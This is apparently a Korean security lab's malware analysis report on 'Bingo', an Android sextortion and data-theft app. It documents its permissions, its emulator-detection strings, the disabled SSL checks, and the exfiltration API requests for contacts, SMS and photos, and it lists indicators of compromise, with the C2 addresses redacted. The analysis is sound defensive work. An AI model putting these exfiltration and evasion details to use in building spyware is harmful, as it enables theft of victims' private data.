분석 기관: Deep-Coding 보안연구소 (주식회사 아크링크)
분석일: 2026-02-20
분석자: [비공개] 대표
보고서 버전: v1.0
기밀 등급: 연구용
항목 · 값
**파일명** · 250303_bingo.apk
**파일 크기** · 28,820,885 bytes (28.80 MB)
**SHA256** · `0d148f5504f4abbe75870d3c0a1b006774f8f55ace44bf646bcad728561a3f51`
**패키지명** · `com.xpief.oeuyg.uxnvf` (난독화)
**실제 패키지** · `com.fintek.mx.durian` (lambda 메서드명에서 추출)
**최소 SDK** · 24 (Android 7.0)
**타겟 SDK** · 34 (Android 14)
**빌드 날짜** · 2025-02-28
**수집 날짜** · 2025-03-03
**서명** · META-INF/8888F555.RSA (8888 = 중국 행운 숫자 패턴)
**DEX 파일** · 3개 (classes.dex 10.1MB, classes2.dex 2.6KB, classes3.dex 7.2MB)
**Native .so** · 없음 (Jiagu 패커 미사용)
**악성 패밀리** · **Durian** (com.fintek.mx.durian)
**패밀리 관계** · RedCat (com.jiazai.mx.durian)과 **동일 패밀리**
Bingo와 RedCat은 동일한 Durian 패밀리임이 확인됨:
비교 항목 · Bingo · RedCat
내부 패키지 · com.fintek.mx.durian · com.jiazai.mx.durian
Application 클래스 · MyApp · MyApp
서비스 클래스 · MyServices · MyServices
C2 IP · [비공개] · [비공개]
API prefix · api/Anlei/ · api/Anlei/
에뮬레이터 탐지 · EmulatorCheck · EmulatorCheck
암호화 · AesCBC · AesCBC
SSL 우회 · UnsafeOkHttpClient · UnsafeOkHttpClient
연락처 구분자 · @##@ · @##@
고객센터 · KefuActivity · KefuActivity
총 23개 이상의 위험 권한 요청:
권한 · 위험도 · 용도
`READ_CONTACTS` · 🔴 극심 · 연락처 전체 탈취
`READ_SMS` · 🔴 극심 · SMS 메시지 탈취
`READ_CALL_LOG` · 🔴 극심 · 통화 기록 탈취
`CAMERA` · 🔴 극심 · 카메라 촬영
`ACCESS_FINE_LOCATION` · 🔴 극심 · GPS 위치 추적
`ACCESS_COARSE_LOCATION` · 🟠 높음 · 대략적 위치
`READ_PHONE_STATE` · 🔴 극심 · IMEI, 전화번호
`READ_PHONE_NUMBERS` · 🔴 극심 · 전화번호 직접 읽기
`READ_MEDIA_IMAGES` · 🔴 극심 · 사진 갤러리 탈취
`READ_MEDIA_AUDIO` · 🟠 높음 · 오디오 파일
`READ_MEDIA_VIDEO` · 🟠 높음 · 동영상 파일
`READ_CALENDAR` · 🟠 높음 · 일정 탈취
`READ_EXTERNAL_STORAGE` · 🔴 극심 · 외부 저장소 전체
`WRITE_EXTERNAL_STORAGE` · 🟠 높음 · 파일 쓰기
`QUERY_ALL_PACKAGES` · 🟠 높음 · 설치앱 목록
`REQUEST_INSTALL_PACKAGES` · 🔴 극심 · 추가 악성앱 설치
`RECEIVE_BOOT_COMPLETED` · 🟡 중간 · 부팅 시 자동실행
`FOREGROUND_SERVICE` · 🟡 중간 · 백그라운드 유지
RedCat 대비 추가 권한: READ_SMS, READ_CALL_LOG, READ_PHONE_NUMBERS, ACCESS_FINE_LOCATION, READ_CALENDAR, REQUEST_INSTALL_PACKAGES — Bingo가 더 광범위한 데이터 수집 수행.
컴포넌트 · 타입 · 기능
`MyApp` · Application · 앱 초기화, 전역 변수(bseUrl, userid, qvhao, myphone)
`MainActivity` · Activity · 메인 로그인/등록 (47개 메서드)
`MainActivity2` · Activity · 보조 액티비티
`KefuActivity` · Activity · 고객센터 (客服) — 가짜 CS
`MyServices` · Service · **데이터 탈취 핵심** (20개 메서드)
클래스 · 기능
`EmulatorCheck` · 에뮬레이터 탐지 (171 insns)
`AesCBC` · AES/CBC/PKCS7Padding 암/복호화
`SSLSocketClient` · SSL 소켓 팩토리 생성
`UnsafeOkHttpClient` · SSL 전면 비활성화
`HttpHelper` · Retrofit 기반 HTTP 클라이언트
`ContentUtil` · 콘텐츠 프로바이더 유틸
`DeviceUtils` · 기기 정보 수집
`LocationUtil` · 위치 정보 수집
`Shooter` · 스크린샷 캡처
`LDNetUtil` · 네트워크 유틸
`HeaderInterceptor` · HTTP 헤더 인터셉터
`CommonLog` · 네트워크 로깅
DEX 파일 · 크기 · 클래스 수 · 용도
classes.dex · 10.1 MB · 7,788 · 프레임워크/라이브러리 (OkHttp, Retrofit, Glide, Lottie 등)
classes2.dex · 2.6 KB · 16 · Android API 스텁
classes3.dex · 7.2 MB · 5,673 · **앱 악성 코드** (207 app 클래스 + 5,466 SDK 클래스)
서버 · 주소 · 비고
**Primary** · `[비공개] · AWS ap-southeast-1 (Singapore) — **RedCat과 동일!!**
**Secondary** · `[비공개] · kingbet850 도메인 (Durian 공유 인프라)
서비스 · URL
Sohu IP 조회 · `[비공개]
IP138 조회 · `[비공개]
· 프로토콜: HTTP (비암호화!) — MITM 완전 노출
· HTTP 클라이언트: OkHttp 3.x (직접 사용) + Retrofit 2.x (API 인터페이스)
· SSL: X509TrustManager 전체 신뢰 + HostnameVerifier 전체 허용
· 타임아웃: 이미지 업로드 50초, 일반 요청 10초
```
POST api/Anlei/register?type=android&userId={userId}
Content-Type: application/json
{
"phone": "{qvhao}{myphone}",
"code": "{6자리 코드}",
"data": "{Build.MANUFACTURER} {Build.BRAND} {Build.MODEL}",
"installedApps": [{packageName, appName}, ...]
}
```
바이트코드 위치: MainActivity.doRegist @ 0x4e1ccc (234 insns)
```
POST api/Anlei/subList?type=android&userId={userId}
Content-Type: application/json
{
"list": [/* ContactsContract.Phone 쿼리 결과 JSONArray */],
"phone": "{qvhao}{myphone}",
"userId": "{userId}",
"data": {/* 외부 JSON 래퍼 */}
}
```
수집원: ContactsContract.CommonDataKinds.Phone.CONTENT_URI
필드: display_name, data1 (전화번호), @##@ 구분자
바이트코드 위치: MyServices.showAddress @ 0x4e0e2c → douploadcon @ 0x4e071c
```
POST api/Anlei/subSmsList?type=android&userId={userId}
Content-Type: application/json
{
"sms": [/* content://sms 쿼리 결과 JSONArray, 최대 100건 */],
"phone": "{qvhao}{myphone}",
"userId": "{userId}",
"data": {/* 외부 JSON 래퍼 */}
}
```
수집원: content://sms URI
필드: type, address, date, body
제한: JSONArray.length() < 100 (최대 100건)
바이트코드 위치: MyServices.showSms @ 0x4e0f6c → douploadsms @ 0x4e0840
```
POST api/Anlei/subAddress?type=ios&userId={userId}
```
특이사항: type=ios 하드코딩 — 개발자 복붙 오류. iOS 버전 코드에서 복사한 흔적.
```
POST api/AnLei/uploadImg?type=android&userId={userId}
Content-Type: application/x-www-form-urlencoded (FormBody)
userId={userId}&imgstr={파일명}&phone={qvhao}{myphone}&base64str={이미지 Base64}
```
수집원: MediaStore.Images.Media.EXTERNAL_CONTENT_URI
필터링: GIF 파일 제외, 폴더당 21개 미만인 경우만
인코딩: Base64 변환 후 전송
타임아웃: readTimeout/writeTimeout 50초 (대용량 이미지 대응)
바이트코드 위치: MyServices.getImageList @ 0x4e0964 → uploadpicandvideo @ 0x4e0bf0
171개 명령어 크기의 에뮬레이터 탐지 함수. 12개 이상의 문자열 비교:
검사 대상 · 비교 문자열 · 방식
`Build.FINGERPRINT` · "generic" · startsWith
`Build.FINGERPRINT` (소문자) · "vbox" · contains
`Build.FINGERPRINT` (소문자) · "test-keys" · contains
`Build.BRAND` · (generic 등) · contains
`Build.DEVICE` · (generic 등) · contains
`Build.PRODUCT` · "sdk" · contains
`Build.PRODUCT` · "google_sdk" · contains
`Build.PRODUCT` · "sdk_x86" · contains
`Build.PRODUCT` · "vbox86p" · contains
`Build.MANUFACTURER` · "Genymotion" · contains
`Build.MODEL` · "Emulator" · contains
`Build.MODEL` · "Android SDK built for x86" · contains
전화번호 · "15555215554" · equals
네트워크 오퍼레이터 · "Android" · equals
우회 방법: Build.prop 스푸핑으로 모든 검사 우회 가능. Jiagu 패커 없어 DEX 직접 패치 가능.
```
알고리즘: AES/CBC/PKCS7Padding
키 생성: SecretKeySpec(key.getBytes(), "AES")
IV 생성: IvParameterSpec(iv.getBytes())
복호화: Base64.decode → Cipher.doFinal
```
참고: AES/CBC/PKCS5Padding, AES/ECB/PKCS5Padding 문자열도 발견 — 다중 암호화 모드 사용.
```
1. MainActivity.onCreate()
├── setLocale("zh-CN") // 기본 언어: 중국어 간체
├── setContentView() // TYPE에 따라 activity_mainzh 또는 activity_main
├── initView() // UI 초기화 (262 insns)
├── initData() // XXPermissions 권한 요청
└── showWelcomeMessage() // isRestarted 플래그 확인
2. MainActivity.handleLogin()
├── 6자리 코드 검증 ("\d{6}")
├── 국가코드 포맷팅 ("+" + qvhao + "-")
├── getPhoneNumber() // TelephonyManager
├── checkNetworkPermission()
├── getInstalledApps() // PackageManager (non-system)
└── Handler.postDelayed(doRegist, 3000ms)
3. MyServices.doget() [오케스트레이터]
├── showAddress() → douploadcon() [연락처 탈취]
└── showSms() → douploadsms() [SMS 탈취]
4. 이미지 탈취 (별도 트리거)
└── getImageList() → uploadpicandvideo() [이미지 Base64 업로드]
```
데이터 유형 · 수집 방법 · 전송 API · 데이터 형식
연락처 · ContactsContract.Phone · subList · JSON (name, number)
SMS · content://sms · subSmsList · JSON (type, address, date, body)
이미지 · MediaStore.Images · uploadImg · FormBody (Base64)
전화번호 · TelephonyManager · register · JSON (phone)
기기정보 · Build.MANUFACTURER/BRAND/MODEL · register · JSON (data)
설치앱 · PackageManager · register · JSON (installedApps)
IP/위치 · Sohu/IP138 API · 별도 수집 · 외부 API 조회
· API prefix: "Anlei" (安雷) — 중국어 이름
· 변수명: qvhao = 区号 (지역번호), myphone = 전화번호
· UI: et_qvhao, et_login_phone, et_login_yy — 중국 전화번호 형식
· 국가코드: +86 하드코딩 (getPhoneNumber에서)
· 기본 언어: zh-CN (SharedPreferences)
· 레이아웃: activity_mainzh (중국어 전용 레이아웃)
· 디버그 문자열: "图片上传" (이미지 업로드), "showAddress--contacts----"
· type=ios 하드코딩 (subAddress API) — 복붙 오류
· AnLei vs Anlei — 대소문자 불일치 (uploadImg만 AnLei)
· 중복 OkHttpClient 생성 (매 요청마다 new OkHttpClient())
· System.out.println 디버그 출력 미제거
· GIF 필터링의 폴더 크기 제한 (21개) — 의도 불분명
라이브러리 · 버전/용도
OkHttp 3.x · HTTP 클라이언트
Retrofit 2.x · REST API 인터페이스
Glide · 이미지 로딩/캐싱
Lottie · 애니메이션 (가짜 UI 꾸밈)
Kotlin Coroutines · 비동기 처리
ZXing (zxinglibrary) · QR코드 스캔
ShareTrace SDK · 앱 설치 추적
OkDownload · 파일 다운로드 (드로퍼 기능)
XXPermissions (com.hjq.permissions) · 권한 요청 라이브러리
Gson + RxJava2 · JSON 변환 + 반응형 프로그래밍
유형 · 값
IP · `[비공개]`
포트 · `8101`
도메인 · `[비공개]`
URL · `[비공개]
URL · `[비공개]
URL · `[비공개]
URL · `[비공개]
유형 · 값
패키지 · `com.xpief.oeuyg.uxnvf`
내부 패키지 · `com.fintek.mx.durian`
SHA256 · `0d148f5504f4abbe75870d3c0a1b006774f8f55ace44bf646bcad728561a3f51`
서명 · `8888F555.RSA`
유형 · 값
API 경로 · `api/Anlei/register`
API 경로 · `api/Anlei/subList`
API 경로 · `api/Anlei/subSmsList`
API 경로 · `api/Anlei/subAddress`
API 경로 · `api/AnLei/uploadImg`
구분자 · `@##@` (연락처 구분)
항목 · Bingo · RedCat
**수집일** · 2025-03-03 · 2025-01-25
**크기** · 28.80 MB · 15.28 MB
**패키지** · com.xpief.oeuyg.uxnvf · dxvrzpyz.ekgtvtbt.vquvqlv.bomsrwhq
**내부 패키지** · com.fintek.mx.durian · com.jiazai.mx.durian
**패커** · 없음 · Jiagu (360 加固)
**C2** · [비공개] · [비공개]
**C2 도메인** · [비공개] · [비공개]
**DEX 수** · 3 · 2 (1개는 암호화)
**권한 수** · 23+ · 13
**API prefix** · api/Anlei/ · api/Anlei/
**연락처 구분자** · @##@ · @##@
**SMS 탈취** · ✅ (100건 제한) · ✅
**이미지 탈취** · ✅ (Base64) · ✅ (JPEG 80% 압축)
**앱 목록 수집** · ✅ (PackageManager) · ✅
**SSL 우회** · ✅ (UnsafeOkHttpClient) · ✅ (UnsafeOkHttpClient)
핵심 결론: Bingo는 RedCat의 진화형 변종. 더 많은 권한 요청, Jiagu 패커 제거(탐지 회피 전략 변경), 동일 C2 인프라 공유.
250303_bingo.apk는 Durian 패밀리에 속하는 몸캠피싱/연락처 탈취 악성앱으로, 이전 분석한 RedCat(260125_RedCat.apk)과 동일 C2 서버([비공개]) 및 동일 API 구조(api/Anlei/)를 공유합니다.
1. 패커 미사용: Jiagu 없이 DEX 직접 배포 — 분석 난이도 감소, 배포 속도 증가 전략
2. 광범위한 데이터 수집: 연락처, SMS, 이미지, 통화기록, 캘린더, 설치앱 등 6종 이상
3. 중국 개발조직: API 이름(Anlei/安雷), 변수명(qvhao/区号), 언어 설정(zh-CN)
4. 공유 인프라: RedCat과 동일 AWS Singapore IP + 동일 API 구조
5. SSL 전면 비활성화: 모든 인증서/호스트 신뢰 → MITM 완전 취약
6. 18개 메서드 바이트코드 분석 완료: 데이터 수집→전송→암호화 전체 흐름 재구성
*이 보고서는 피싱/스미싱 [피해자 정보 비공개] 위한 정당한 보안 연구 목적으로 작성되었습니다.*
*© 2026 Deep-Coding 보안연구소 (주식회사 아크링크)*
> 침투·역공 등 민감 분석 섹션은 비공개입니다. 피해 상담·전체 열람 문의: [비공개]
본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr